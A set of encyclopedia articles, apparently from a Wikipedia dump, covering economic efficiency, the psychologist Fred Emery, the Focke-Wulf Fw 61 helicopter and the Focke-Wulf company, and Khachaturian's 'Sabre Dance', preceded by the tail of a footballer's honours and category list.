PFA Team of the Year: 1988–89 Second Division, 1992–93 Premier League, 1996–97 Premier League
Premier League Player of the Month: November 1996
English Football Hall of Fame: 2005
Crystal Palace Centenary XI: 2005
BBC Goal of the Season: 1989–90
Crystal Palace Player of the Century
Member of the Order of the British Empire (MBE): 2000 New Years Honours List
References
External links
1963 births
Living people
British men podcasters
English people of Jamaican descent
Black British sportspeople
Footballers from Woolwich
English footballers
Association football forwards
Greenwich Borough F.C. players
Crystal Palace F.C. players
Arsenal F.C. players
West Ham United F.C. players
Nottingham Forest F.C. players
Celtic F.C. players
Burnley F.C. players
Premier League players
English Football League players
Scottish Premier League players
First Division/Premier League top scorers
England B international footballers
England international footballers
English Football Hall of Fame inductees
Milton Keynes Dons F.C. non-playing staff
English television presenters
English radio personalities
Black British television personalities
English association football commentators
I'm a Celebrity...Get Me Out of Here! (British TV series) participants
Members of the Order of the British Empire
Association football coaches
Sportspeople convicted of crimes
Ian
FA Cup Final players | [
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241232 | https://en.wikipedia.org/wiki/Economic%20efficiency | Economic efficiency | In microeconomics, economic efficiency is, roughly speaking, a situation in which nothing can be improved without something else being hurt. Depending on the context, it is usually one of the following two related concepts:
Allocative or Pareto efficiency: any changes made to assist one person would harm another.
Productive efficiency: no additional output of one good can be obtained without decreasing the output of another good, and production proceeds at the lowest possible average total cost.
These definitions are not equivalent: a market or other economic system may be allocatively but not productively efficient, or productively but not allocatively efficient. There are also other definitions and measures. All characterizations of economic efficiency are encompassed by the more general engineering concept that a system is efficient or optimal when it maximizes desired outputs (such as utility) given available inputs.
Standards of thought
There are two main standards of thought on economic efficiency, which respectively emphasize the distortions created by governments (and reduced by decreasing government involvement) and the distortions created by markets (and reduced by increasing government involvement). These are at times competing, at times complementary—either debating the overall level of government involvement, or the effects of specific government involvement. Broadly speaking, this dialog takes place in the context of economic liberalism or neoliberalism, though these terms are also used more narrowly to refer to particular views, especially advocating laissez faire.
Further, there are differences in views on microeconomic versus macroeconomic efficiency, some advocating a greater role for government in one sphere or the other.
Allocative and productive efficiency
A market can be said to have allocative efficiency if the price of a product that the market is supplying is equal to the marginal value consumers place on it, and equals marginal cost. In other words, when every good or service is produced up to the point where one more unit provides a marginal benefit to consumers less than the marginal cost of producing it.
Because productive resources are scarce, the resources must be allocated to various industries in just the right amounts, otherwise too much or too little output gets produced. When drawing diagrams for businesses, allocative efficiency is satisfied if output is produced at the point where marginal cost is equal to average revenue. This is the case for the long-run equilibrium of perfect competition.
Productive efficiency occurs when units of goods are being supplied at the lowest possible average total cost. When drawing diagrams for businesses, this condition is satisfied if the equilibrium is at the minimum point of the average total cost curve. This is again the case for the long run equilibrium of perfect competition. For an extensive discussion of many other types of productive efficiency and its measures (Farrell, Hyperbolic, Directional, Cost, Revenue, Profit, Additive, etc.) and their relationships.
Mainstream views
The mainstream view is that market economies are generally believed to be closer to efficient than other known alternatives and that government involvement is necessary at the macroeconomic level (via fiscal policy and monetary policy) to counteract the economic cycle – following Keynesian economics. At the microeconomic level there is debate about how to achieve efficiency, with some advocating laissez-faire, to remove government distortions, while others advocate regulation, to reduce market failures and imperfections, particularly via internalizing externalities.
The first fundamental welfare theorem provides some basis for the belief in efficiency of market economies, as it states that any perfectly competitive market equilibrium is Pareto efficient. The assumption of perfect competition means that this result is only valid in the absence of market imperfections, which are significant in real markets.
Furthermore, Pareto efficiency is a minimal notion of optimality and does not necessarily result in a socially desirable distribution of resources, as it makes no statement about equality or the overall well-being of a society.
Schools of thought
Advocates of limited government, in the form laissez-faire (little or no government role in the economy) follow from the 19th century philosophical tradition classical liberalism. They are particularly associated with the mainstream economic schools of classical economics (through the 1870s) and neoclassical economics (from the 1870s onwards), and with the heterodox Austrian school.
Advocates of an expanded government role follow instead in alternative streams of progressivism; in the Anglosphere (English-speaking countries, notably the United States, United Kingdom, Canada, Australia and New Zealand) this is associated with institutional economics and, at the macroeconomic level, with Keynesian economics. In Germany the guiding philosophy is Ordoliberalism, in the Freiburg School of economics.
Microeconomic reform
Microeconomic reform is the implementation of policies that aim to reduce economic distortions via deregulation, and move toward economic efficiency. However, there is no clear theoretical basis for the belief that removing a market distortion will always increase economic efficiency.
The theory of the second best states that if there is some unavoidable market distortion in one sector, a move toward greater market perfection in another sector may actually decrease efficiency.
Criteria
Economic efficiency can be characterized in many ways:
Allocative efficiency
Distributive efficiency
Dynamic efficiency
Informational efficiency is the most-discussed type of financial market efficiency.
Kaldor–Hicks efficiency
Operational efficiency
Pareto efficiency
Productive efficiency
Optimisation of a social welfare function
Utility maximization
X-inefficiency
Applications of these principles include:
Efficient-market hypothesis
Microeconomic reform
Production theory basics
Welfare economics
See also
Business efficiency
Compensation principle
Distribution (economics)
Economic equilibrium
Pareto efficiency
Zero-sum game
References
On the Concept of Efficiency, Prabhat Patnaik (1997), Economic and Political Weekly, October 25, 1997.
External links
"Efficiency" article by Paul Heyne
Reform
Economic reforms | [
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241235 | https://en.wikipedia.org/wiki/Fred%20Emery | Fred Emery | Frederick "Fred" Edmund Emery (27 August 1925 – 10 April 1997) was an Australian psychologist. He was one of the pioneers in the field of organizational development (OD), particularly in the development of theory around participative work design structures such as self-managing teams. He was widely regarded as one of the finest social scientists of his generation.
Biography
Emery was born in Narrogin, Western Australia, as the son of a drover. He left school as Dux of Fremantle Boys' High in Western Australia, aged only fourteen. He gained his honours degree in science from the University of Western Australia in 1946, and joined the teaching staff of the Department in 1947. He subsequently spent nine years on the staff of the Department of Psychology, University of Melbourne, where he obtained his PhD in 1953. During 1951–52, he held a UNESCO Fellowship in social sciences and was attached to the Tavistock Institute of Human Relations in the UK.
A psychologist by training, his academic appointment at Melbourne University was where he made significant contributions to rural sociology, CPA, and the effects of film and television viewing.
He left Australia in 1957 and went to London to join the staff of the Tavistock Institute, where the majority of his early work was then done. He had worked with Eric Trist on the recently discovered concept of sociotechnical systems in 1951–52 when he was UNESCO Research Fellow. This was where he wished to be and he returned to the Tavistock Institute to continue to work with Trist. He subsequently published 'The Characteristics of Sociotechnical Systems' in 1959.
Constantly drawn towards testing social science theory in field settings, he and Eric Trist, one of his closest intellectual collaborators, and other colleagues, established "open socio-technical systems theory" as an alternative paradigm for organisational design – field-tested on a national scale in Norway, in partnership with Einar Thorsrud.
After his return to Australia, he set about designing a new method to bring in jointly optimised sociotechnical systems, one designed for diffusion of the concept rather than proof that there was an alternative to autocracy in the workplace. That method is called the Participative Design Workshop and has been used in Australia and many other countries since 1971. It totally replaces the old 9 step method used in Norway.
Sociotechnical systems is one part of a comprehensive theoretical framework called Open Systems Theory (OST). Two of Emery's and Trist's key publications were: "The Causal Texture of Organisational Environments" (1965) — which became a citation classic — and "Towards a Social Ecology" (1972). These publications are the groundwork on which Fred Emery developed OST.
He returned to Australia in 1969, and went to the Australian National University (ANU). He was a senior research fellow there to November 1979, first in the Department of Sociology, RSSS, and then from 1974, at the Centre for Continuing Education. Fred had also been visiting professor in Social Systems Science at Wharton's Department of Social Systems Sciences and spent 1967–68 at the Center for Advanced Studies in the Behavioural Sciences at Stanford.
He was awarded the first Elton Mayo award in 1988 by the Australian Psychological Society and received a DSc from Macquarie University in 1992.
At the ANU Emery continued his action research in industry and the public sector, and developed new tools for the diffusion of democracy in organisations and in communities. He also attended to a backlog of writing. Within the next 10 years he authored, co-authored, or edited 10 books for publication, and published around 30 papers.
In 1979 when his CCE Fellowship expired, efforts were made by some of his colleagues to find a permanent post for him at the ANU, but to no avail. Thus, long before their numbers swelled and their own association was formed, Emery became one of Australia's outstanding Independent Scholars. By 1985 he had published at least another 15 journal articles (a flow which continued to his last year), and governments, enterprises, students, universities, and many others, from this country and elsewhere, continued to seek his expertise, and later continued as a consultant. In this later period, he and Merrelyn Emery refined the Search Conference participative planning process (designed by Fred Emery and Eric Trist in 1958). In the final two years of his life, he co-edited the third and final volume of the "Tavistock anthology" being published by the University of Pennsylvania Press – The Social Engagement of Social Science.
Emery died at his home on 10 April 1997 at the age of 71 in Canberra, Australia.
Summary of his work
Emery had a prime interest in the nature of work and in particular in how people organised themselves and the machines and other resources with which they worked, to achieve their goals and maintain their ideals and values, in the face of what he recognised as often "turbulent environments". He made regular contributions to Business Review Weekly, consistently demonstrating his critical intelligence and willingness to challenge.
He knew that being ahead of one's time can be difficult: "I am inclined to agree with Max Born, the German physicist, who reckoned that the acceptance of a new quantum theory would occur only with the passing away of the old physics professors. The acceptance will await a new generation that starts off with a question mark."
One story which illustrates this (and perhaps explains some of the reluctance to grant tenure at ANU) was in 1975 when Fred and Merrelyn Emery [then both at the Centre for Continuing Education, Australian National University] published a book which, among other things, discussed the neurological effects of television viewing. In response to a press article about the book in a university publication, six professors and heads of departments (zoology, physiology, pharmacology, psychology, neurobiology, behavioural biology) wrote a letter which strongly criticised the book and abused the authors. The six professors outlined what they considered to be "the current limits of scientifically acceptable investigation of the nervous system" and after criticising the Emerys and their work concluded that the article about the Emerys' book "reflects upon the standards of brain research done in this University by those who are in it for the sake of finding out how a nervous system really works rather than for the support or refutation of a particular social issue". It would seem that the professors' case rested primarily on their collective prestige, since not only had they not read the Emerys' book, but their specific criticisms did not stand up to scrutiny.
The three books that perhaps best convey his thinking are Toward a Social Ecology from 1972 with Eric Trist, On purposeful systems from 1972 with Russell Ackoff, and Futures We're In from 1977. He also edited for Penguin two volumes of readings called Systems Thinking (the initial volume was reprinted six times), which will long remain a staple resource on the origins and development of open systems thinking throughout the life sciences.
Publications
A list of Emery's more important publications. Books:
1969. Systems thinking. (Ed.). Harmondsworth: Penguin Books.
1969. Form and content in industrial democracy. With E. Thorsrud, London: Tavistock.
1972. On Purposeful Systems: An Interdisciplinary Analysis of Individual and Social Behavior as a System of Purposeful Events. With Russell Ackoff. Chicago: Aldine-Atherton.
1973. Hope within walls. With M. Emery. Canberra: Centre for Continuing Education, Australian National University.
1976. Choice of futures: To enlighten or inform (Part III). With M. Emery. Leiden: Martinus Nijhoff.
1976. Living at Work With Chris Phillips. Australian Government Printing Service.
1976. Democracy at work. With E. Thorsrud, Leiden: Martinus Nijhoff.
1977. Futures we are in. Leiden: Martinus Nijhoff.
1978. Emergence of a new paradigm of work. Canberra: Centre for Continuing Education, Australian National University.
1980. Domestic market segments for the telephone. With M. Emery, PA Consultants.
1981. Open systems thinking. Volumes I & II. Penguin.
1989. Towards real democracy. Toronto: Ontario QWL Centre, Ministry of Labour.
1991. Attitudes towards Centres for Professional Development at the University of New England. With M. Emery. Lismore: UNE.NR.
Papers and articles, a selection:
Emery, F. & Trist, E. (1965). The causal texture of organizational environments. Human Relations, 18, 21–32.
Emery, F. (1972). "Research and higher education". In G. S. Harman and C. Selby-Smith (Eds.), Australian higher education. Melbourne: Angus & Robertson.
Emery, F. (1975). "Continuing education under a gum-tree". Aust. J. of Adult Education, 17–19.
Emery, F. (1978). "Youth-vanguard: Victims or the new vandals?" In F. E. Emery (Ed.), Limits to choice. Canberra: Centre for Continuing Education Australian National University.
Emery, F. (1978). "The fifth wave? Embarking on the next forty years". In F. E. Emery (Ed.), Limits to choice. Canberra: Centre for Continuing Education Australian National University.
Emery, F. (1980, Autumn). "Communications for a sustainable society". Human Futures, 1–7.
Emery, F. (April 1992). "The Australian experience". Paper presented to Tusiad Symposium national Participation and Consensus, Istanbul.
References
External links
Emery, Frederick Edmund (Fred) (1925–1997) by Alastair Crombie
1925 births
1997 deaths
Australian scientists
Systems psychologists
Systems scientists
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241236 | https://en.wikipedia.org/wiki/Focke-Wulf%20Fw%2061 | Focke-Wulf Fw 61 | The Focke-Wulf Fw 61 is often considered the first practical, functional helicopter, first flown in 1936. It was also known as the Fa 61, as Focke began a new company—Focke-Achgelis—in 1937.
Design and development
Professor Henrich Focke, through his development of the Fw 186, and through the efforts of producing the C.19 and C.30 autogyros under licence, came to the conclusion that the limitations of autogyros could be eliminated only by an aircraft with a powered rotor, the helicopter. He and engineer Gerd Achgelis started the design for this helicopter in 1932. A free-flying model, built in 1934 and propelled by a small two-stroke engine, brought the promise of success. Today, the model can be seen in the Deutsches Museum in Munich.
On 9 February 1935, Focke received an order for the building of a prototype, which was designated the Fw 61; Focke referred to it as the F 61. Roluf Lucht of the technical office of the RLM extended the order for a second aircraft on 19 December 1935. The airframe was based on that of a well-tried training aircraft, the Focke-Wulf Fw 44 Stieglitz.
Using rotor technology licensed from the Cierva Autogiro Company, a single radial engine drove twin rotors, set on tubular steel outriggers to the left and right of the fuselage. Each main rotor consisted of three articulated and tapered blades, driven by the engine through gears and shafts. Longitudinal and directional control was achieved using cyclic pitch and asymmetric rotor lift.
The counter-rotation of the two rotors solved the problem of torque-reaction as also shown by Louis Bréguet. The small horizontal-axis propeller directly driven by the engine was purely to provide the necessary airflow to cool the engine during low speed or hovering flight and provided negligible forward thrust.
Only two aircraft were produced. The first prototype, the V 1 D-EBVU, had its first free flight on 26 June 1936 with Ewald Rohlfs at the controls. By early 1937, the second prototype, V 2 D-EKRA, was completed and flown for its first flight. On 10 May 1937, it accomplished its first autorotation landing with the engine turned off.
Focke-Achgelis began work on a two-seat sports version of the Fw 61, the Fa 224, which would have used an Argus As 10C engine and had greater performance. However, the Fa 224 never left the drawing board at the outbreak of World War II.
Operational history
In February 1938, the Fw 61 was demonstrated by Hanna Reitsch indoors at the Deutschlandhalle sports stadium in Berlin, Germany.
It subsequently set several records for altitude, speed and flight duration culminating, in June 1938, with an altitude record of 3,427 m (11,243 ft), breaking the unofficial altitude record of the TsAGI 1-EA single lift-rotor helicopter from the Soviet Union set in August 1932, and a straight line flight record of 230 km (143 mi).
Neither of these machines appear to have survived World War II, although a replica is on display at the Hubschraubermuseum in Bückeburg, Germany.
Specifications (Fw 61)
See also
References
Notes
Bibliography
Coates, Steve and Jean-Christophe Carbonel. Helicopters of the Third Reich. Crowborough, UK: Classic Publications Ltd., 2002. .
Green, William. Aircraft of the Third Reich, Vol.1. London: Aerospace Publishing Limited, (First ed.) 2010. .
Nowarra, Heinz J. German Helicopters, 1928–1945. Atglen, Pennsylvania: Schiffer Publishing, 1990. .
Ruffin, Steven A. Aviation's Most Wanted: The Top 10 book of Winged Wonders, Lucky Landings and Other Aerial Oddities. Washington D.C.: Potomac Books, 2005. .
Smith, J. Richard. Focke-Wulf, an Aircraft Album. London: Ian Allan Ltd., 1973. .
Smith, J. Richard and Anthony Kay. German Aircraft of the Second World War. London: Putnam & Company Ltd., 1972 (3rd edition 1978). .
Witkowski, Ryszard. Rotorcraft of the Third Reich''. Redbourn, UK: Mushroom Model Publications, 2007. .
External links
French & German Helicopter Pioneers (Fa 61)
Focke Wulf Fw61
Henrich Focke—Fa 61
Virtual Aviation Museum Focke Wulf FW 61
Warbirds Resource Group
German static replica
Focke Wulf Fw 61 luftwaffe at YouTube
Vertical Rewind: Spoils of War Archive
1930s German experimental aircraft
Military helicopters
World War II helicopters of Germany
Fw 061
1930s German helicopters
Transverse rotor helicopters
Single-engined piston helicopters
Aircraft first flown in 1936 | [
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241238 | https://en.wikipedia.org/wiki/Focke-Wulf | Focke-Wulf | Focke-Wulf Flugzeugbau AG () was a German manufacturer of civil and military aircraft before and during World War II. Many of the company's successful fighter aircraft designs were slight modifications of the Focke-Wulf Fw 190. It is one of the predecessor companies of today's Airbus.
History
The company was founded in Bremen on 24 October 1923 as Bremer Flugzeugbau AG by Prof. Henrich Focke, Georg Wulf and Dr. rer. pol. Werner Naumann. Almost immediately, they renamed the company Focke-Wulf Flugzeugbau AG (later Focke-Wulf Flugzeugbau GmbH).
Focke-Wulf merged, under government pressure, with Albatros-Flugzeugwerke of Berlin in 1931. The Albatros-Flugzeugwerke engineer and test pilot Kurt Tank became head of the technical department and started work on the Fw 44 Stieglitz (Goldfinch).
Dr Ludwig Roselius became Chairman in 1925 and handed over to his brother Friedrich in early 1933. In 1938 Roselius' HAG combine increased its shareholding to 46% and C. Lorenz AG secured 28%. The company was reconstituted as Focke-Wulf Flugzeugbau GmbH and no longer had to publish its accounts. A substantial capital injection occurred at this time.
In August 1933 Hans Holle and Rudolf Schubert were given power of attorney over the Berlin branch of Focke-Wulf. Then in October 1933, Focke-Wulf Flugzeugbau A.G. Albatros Berlin was officially registered with the Department of Trade.
Dr Roselius always remained the driving force of Focke-Wulf. He and his closest collaborator, Barbara Goette, often met with technical director Professor Kurt Tank. When Roselius died in May 1943, Heinrich Puvogel (later chair of Focke-Wulf) raised 4 million RM and continued handling the financial affairs of Focke-Wulf as chief of Seehandel A.G.
Hanna Reitsch demonstrated the Focke-Wulf Fw 61, the first fully controllable helicopter (as opposed to autogyro), in Berlin in 1938.<ref>Hanna Reitsch “Fliegen, mein Leben” on p. 180–198. Deutsche Verlags-Anstalt Stuttgart 1952</ref> The four-engined Fw 200 airliner flew nonstop between Berlin and New York City on August 10, 1938, making the journey in 24 hours and 56 minutes. It was the first aircraft to fly that route without stopping. The return trip on August 13, 1938, took 19 hours and 47 minutes. These flights are commemorated with a plaque in the Böttcherstraße street of Bremen.
The Fw 190 Würger (Shrike/butcher-bird), designed from 1938 on, and produced in quantity from early 1941–1945, was a mainstay single-seat fighter for the Luftwaffe during World War II.
Repeated bombing of Bremen in World War II resulted in the mass-production plants being moved to eastern Germany and General Government, with AGO Flugzeugwerke of Oschersleben as a major subcontractor for the Fw 190. Those plants used many foreign and forced labourers, and from 1944 also prisoners of war. Focke-Wulf's plant at Marienburg produced approximately half of all Fw 190s and was bombed by the Eighth Air Force on October 9, 1943.
Many Focke-Wulf workers, including Kurt Tank, worked at the Instituto Aerotécnico in Córdoba, Argentina between 1947 and 1955. Others, like Henrich Focke, went to Brazil's Department of Aerospace Science and Technology, helping Brazil's effort to build Embraer. Focke-Wulf began to make gliders in 1951, and in 1955, motorised planes. Focke-Wulf, Weserflug and Hamburger Flugzeugbau joined forces in 1961 to form the Entwicklungsring Nord (ERNO) to develop rockets.
ITT Corporation, which had acquired a 25% stake in the company prior to the war, won $27 million in compensation in the 1960s for the damage that was inflicted on its share of the Focke-Wulf plant by WWII Allied bombing. Colonel Sosthenes Behn, Ludwig Roselius and Barbara Goette outfoxed Hitler in 1936 when he tried to have Roselius removed as a major stakeholder from Focke-Wulf A.G. and reconstitution followed resulting in the privatized company Focke-Wulf Flugzeugbau GmbH. Focke-Wulf formally merged with Weserflug in 1964, becoming Vereinigte Flugtechnische Werke (VFW), which after several further mergers became the European Aeronautic Defence and Space Company N.V. (EADS). EADS was later reorganised as Airbus.
Aircraft
Company designations
In alphabetical order:
Focke-Wulf A 3
Focke-Wulf A 4
Focke-Wulf A 5
Focke-Wulf A 6
Focke-Wulf A 7
Focke-Wulf A 16 – light transport aircraft, 1924. First design built by Focke-Wulf.
Focke-Wulf A 17 Möwe (Gull) – 8-passenger airliner, 1927.
Focke-Wulf A 20 Habicht (Hawk) – 4-passenger airliner, 1927.
Focke-Wulf A 21 Photomöwe – aerial photography version of A 17, 1929.
Focke-Wulf A 26 – engine testbed
Focke-Wulf A 28 – re-engined A 20
Focke-Wulf A 29 – production version of A 17, 1929.
Focke-Wulf A 32 Bussard (Buzzard) – airliner, 1930.
Focke-Wulf A 33 Sperber (Sparrowhawk) – 3-passenger airliner, 1930.
Focke-Wulf A 36 Mastgans (Mast Goose) – mail plane, 1931.
Focke-Wulf A 38 Möwe (Gull) – 10-passenger airliner, 1931.
Focke-Wulf F 19 Ente (Duck) – experimental civil utility aircraft, 1927.
Focke-Wulf GL 18 – light transport aircraft developed from the A 16, 1926.
Focke-Wulf GL 22 – revised GL 18, 1927.
Focke-Wulf K 23 Buchfink (Chaffinch) – two-seat reconnaissance aircraft, 1928.
Focke-Wulf L 101 D Albatros Focke-Wulf S 1 – trainer, 1925.
Focke-Wulf S 2 – two-seat trainer, 1928.
Focke-Wulf S 24 Kiebitz (Lapwing) – sport aircraft, 1928.
Focke-Wulf S 39
Focke-Wulf S 48
Focke-Wulf W 4 – reconnaissance floatplane, 1927.
Focke-Wulf W 7 – maritime patrol biplane, 1932.
RLM designations
Focke-Wulf Fw 40
Focke-Wulf Fw 43 Falke (Falcon) – utility aircraft; known internally as A 43.
Focke-Wulf Fw 44 Stieglitz (Goldfinch) – trainer (biplane), 1932.
Focke-Wulf Fw 47 Höhengeier (Vulture) – weather aircraft; known internally as A 47.
Focke-Wulf Fw 55 – biplane floatplane
Focke-Wulf Fw 56 Stösser (Goshawk) – advanced trainer (parasol monoplane), 1933
Focke-Wulf Fw 57 – twin-engined heavy fighter-bomber (prototype), 1935.
Focke-Wulf Fw 58 Weihe (Kite) – transport/photo reconnaissance/weather research aircraft, 1937.
Focke-Wulf Fw 61 – helicopter (prototype), 1936.
Focke-Wulf Fw 62 – ship-borne reconnaissance (biplane seaplane), 1937.
Focke-Wulf Ta 152 – interceptor/fighter (derived from Fw 190), 1944.
Focke-Wulf Ta 154 Moskito (Mosquito) – night-fighter with wood structure like its British namesake, 1943.
Focke-Wulf Fw 159 – fighter (prototype only), 1935.
Focke-Wulf Fw 186 – autogiro reconnaissance aircraft (prototype), 1937.
Focke-Wulf Fw 187 Falke (Falcon) – twin-engined two-seat heavy day fighter ("Zerstörer"), 1936.
Focke-Wulf Fw 188 – reconnaissance aircraft (prototype), 1939.
Focke-Wulf Fw 189 Uhu (Eagle Owl) – twin-engined, three-seat army cooperation/tactical reconnaissance, 1938.
Focke-Wulf Fw 190 Würger (Shrike/butcher-bird) – single-seat fighter/interceptor, 1939
Focke-Wulf Fw 191 – twin-engine Bomber B design competitor (prototype), 1942.
Focke-Wulf Fw 200 Condor – four-engine airliner and maritime patrol-bomber, 1937.
Built under license
Focke-Wulf C.20 – license-built (autogyro)
Focke-Wulf C.30 Heuschrecke (Grasshopper) – license-built (autogyro)
Focke-Wulf FWP.149D – license-built Piaggio P.149
Planned/unfinished designs
Focke-Wulf Fw 42 – twin-engined medium bomber project developed from the F 19, 1929.
Focke-Wulf Fw 160 – A design for a four-engined bomber with a twin-boom, unconnected tail.
Focke-Wulf Ta 183 Huckebein – design for a jet-engined fighter, 1942.
Focke-Wulf Fw 206 – planned commercial aircraft, 1940.
Focke-Wulf Fw 238 – long-range bomber project (RLM airframe number 8-238 already used by Blohm und Voss)
Focke-Wulf Fw 249 – large transport aircraft project; officially designated as Project 195.
Focke-Wulf Fw 250 – twin-engine jet fighter project
Focke-Wulf Fw 252 – single engine jet fighter
Focke-Wulf Ta 254 – proposed version of the Ta 154 fighter.
Focke-Wulf Fw 259 Frontjäger (concept)
Focke-Wulf Fw 260 – 1960s VTOL airliner proposal
Focke-Wulf Fw 261 – four-engine bomber/reconnaissance/U-Boat support aircraft project
Focke-Wulf Ta 283 – interceptor fighter project
Focke-Wulf Fw 300 – proposed long-range version of Fw 200, 1941-1942.
Focke-Wulf Ta 400 – Amerikabomber'' design competitor, never built, 1943.
Focke-Wulf Fw P.03.10206 – series of long-range strategic bomber projects, 1944.
Focke-Wulf Fw P.03.10221-15 – large capacity strategic transport, 1941.
Focke-Wulf Fw P.03.10025 – A 1944 design with a swept wing, a forward-swept V-tail, and two pusher propellers at the rear.
Focke-Wulf Fw 03.10251 – series of jet-engined night and bad weather fighters
Focke-Wulf Fighter Project w/BMW803 – A 1941 design with a connected twin-boom tail, slightly swept-back wings, and two pusher propellers at the rear.
Projects
Focke-Wulf 1000x1000x1000 – series of bomber designs, 1944.
Focke-Wulf Project I – single-seat jet fighter, 1943.
Focke-Wulf Project II
Focke-Wulf Project III
Focke-Wulf Project VII "Flitzer" – fighter project, 1944.
Focke-Wulf Project VIII – turboprop powered fighter-bomber project, also designated Fw 281
Focke Rochen – 1950s VTOL fighter project
Focke-Wulf Super Lorin – Ramjet-rocket combo powered fighter
Focke-Wulf Fw 354 Triebflügel – tail-sitter VTOL interceptor design
Focke-Wulf TO Project
Focke-Wulf Volksjäger – rocket-powered interceptor fighter project
Focke-Wulf VTOL Project
See also
Focke-Achgelis
Notes
References
External links
List of Focke-Wulf aircraft
Defunct aircraft manufacturers of Germany
Defunct helicopter manufacturers of Germany
Manufacturing companies based in Bremen (state)
Companies based in Bremen
ITT Inc.
Companies involved in the Holocaust | [
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241240 | https://en.wikipedia.org/wiki/Sabre%20Dance | Sabre Dance | "Sabre Dance" is a movement in the final act of Aram Khachaturian's ballet Gayane (1942), where the dancers display their skill with sabres. It is Khachaturian's best known and most recognizable work. Khachaturian apparently felt that its popularity "deflected attention from his other works."
Its middle section is based on an unnamed Armenian folk song. According to Tigran Mansurian, it is a synthesis of an Armenian wedding dance tune from Gyumri tied in a saxophone counterpoint "that seems to come straight from America."
"Sabre Dance" is considered one of the signature pieces of 20th-century popular music. It was popularized by covers by pop artists, first in the US in 1948 and later elsewhere. Its use in a wide range in films and television over the decades have significantly contributed to its renown. "Sabre Dance" has also been used by a number of figure skaters from at least five countries in their performances. Tom Huizenga of NPR describes it as "one of the catchiest, most familiar—perhaps most maddening—tunes to come out of the 20th century." Billboard magazine calls it "a piece that's known to every pops orchestra in existence." Critics Peter G. Davis and Martin Bernheimer have called it "infamous" and "obnoxious."
Classical performances and recordings
After World War II, records of dances from Khachaturian's ballet Gayane reached the west and the "Sabre Dance" "caused an immediate sensation and straight away becoming a popular classical hit." In 1948, three records of the "Sabre Dance" reached number one in the Billboard Best-Selling Records by Classical Artists: by the Chicago Symphony Orchestra (conducted by Artur Rodziński), by the New York Philharmonic (conducted by Efrem Kurtz), and by the pianist Oscar Levant (Columbia Records). These records made them one of the Billboard Year's Top Selling Classical Artists. A record by the Boston Pops Orchestra also made it to the classical chart. "Sabre Dance" became the first million-selling record of the Chicago Symphony Orchestra.
According to the Current Biography Yearbook, it was Levant's performance that "received popular attention." Levant published a piano solo version of it and played the piece five times on Kraft Music Hall between December 1947 and December 1948. Levant also played it on the piano in the 1949 film The Barkleys of Broadway.
"Sabre Dance" was also recorded by Russian-American violinist Jascha Heifetz (1948, transcribed it for violin/piano), Indianapolis Symphony Orchestra (conducted by Fabien Sevitzky, in 1953), the Hungarian-French pianist György Cziffra (1956), the Royal Philharmonic Orchestra (conducted by Yuri Temirkanov, 1986), the London Symphony Orchestra (conducted by Stanley Black, 1989), the Irish flute player James Galway (1993 album Dances for Flute), the Bolshoi Symphony Orchestra (conducted by Alexander Lazarev, 1994), the National Symphony Orchestra (conducted by Loris Tjeknavorian, 2005), Franco-Serbian violinist Nemanja Radulović (2014).
Covers
US hit (1948)
In 1948 the "Sabre Dance" was recorded by a number of singers and became a jukebox hit in the United States. Newsweek suggested that 1948 could be called "Khachaturian Year in the United States." In February 1948, Billboard wrote that "There's a rash of sabre dance disks based on the familiar excerpts from Aram Khachaturian's Gay[a]ne Ballet Suite." By May 1948, three records of Sabre Dance—a pop-boogie hit by Freddy Martin, a dance-band version by Woody Herman, and a vocal version by The Andrews Sisters with harmonica backing—made to Billboard Most-Played Juke Box Records at #8, #13, and #28, respectively. Aside from these three versions, it was also recorded by Victor Young's orchestra (Decca Records), Ray Bloch's orchestra (Signature Records), Macklin Marrow's orchestra (MGM), pianist Oscar Levant (Columbia Records), the Angie Bond Trio (Dick Records), and the Harmonickings (Jubilee Records). According to John Sforza "Sabre Dance" is a "good example of multiple recordings of the same song in the 1940s recording industry." Two decades later, in 1968 New York Post music critic Harriett Johnson noted that "Sabre Dance" is Khachaturian's "most popular piece in this country."
Later versions
Liberace played it live on television. It was released in the 2002 album Legendary Liberace: Musical Highlights of the PBS Special.
The Dutch rock band Ekseption covered it in their debut album Ekseption in 1969.
An electric guitar version by Dave Edmunds' band Love Sculpture reached No. 5 in the UK Singles Chart in December 1968.
James Last covered it in his 1972 album Russland zwischen Tag und Nacht.
The Pretenders, a British–American rock band, performed a cover live at the Marquee Club, London in 1979, which was later included in the 2006 reissue of their eponymous debut album.
The English punk rock band The Boys covered it in their 1979 album To Hell with the Boys.
Ivan Rebroff covered it in a 1982 concert in Sydney.
The song "The Lord's Prayer" in German punk rock singer Nina Hagen's 1985 Nina Hagen in Ekstasy album features an interpolation of the "Sabre Dance".
The English punk rock band U.K. Subs covered it in their 1988 album U.K. Subs.
The English punk rock band Toy Dolls covered it in their 1989 album Wakey Wakey.
It is heavily sampled in "Sodom and Gomorrah" by the German heavy metal band Accept, from their 1994 album Death Row.
The British heavy metal Skyclad covered it in their 1996 album Irrational Anthems.
A cover by Vanessa-Mae appeared in her 2004 album Choreography.
It is sampled in the Bond song "Highly Strung" from their 2004 album Classified.
American rock musician Tony Levin covered it in his 2006 album Resonator.
In popular culture
The "Sabre Dance" has been used in numerous films, animated films, television series, video games, and commercials over the years, oftentimes for humorous effects. The piece's popular familiarity has been enhanced by its traditional use as accompaniment by travelling circuses and on television variety shows such as The Ed Sullivan Show when novelty acts such as plate spinners appeared.
Some notable television shows that have used it include The Jack Benny Program (1961), A Piano in the House from The Twilight Zone (1962), The Onedin Line (1971 and 1972), The Benny Hill Show (1985), Our Very First Telethon episode of Full House (1990), The Simpsons (1991), The Nanny (1996), Two and a Half Men (2004), What's New, Scooby-Doo? (2004), "Peterotica" episode of Family Guy (2006), SpongeBob SquarePants (2007), and The Big Bang Theory (2009). The song was featured in The Amazing Race 28, when teams travelled to Armenia and had to search the Yerevan Opera Theater for their next clue.
On June 6, 2013, on the 110th anniversary of Khachaturian's birthday a modern take of the Sabre Dance—Sabre Dance on the Street—was performed at Yerevan Cascade by Barekamutyun dance ensemble and Armenian Philharmonic Orchestra.
Films
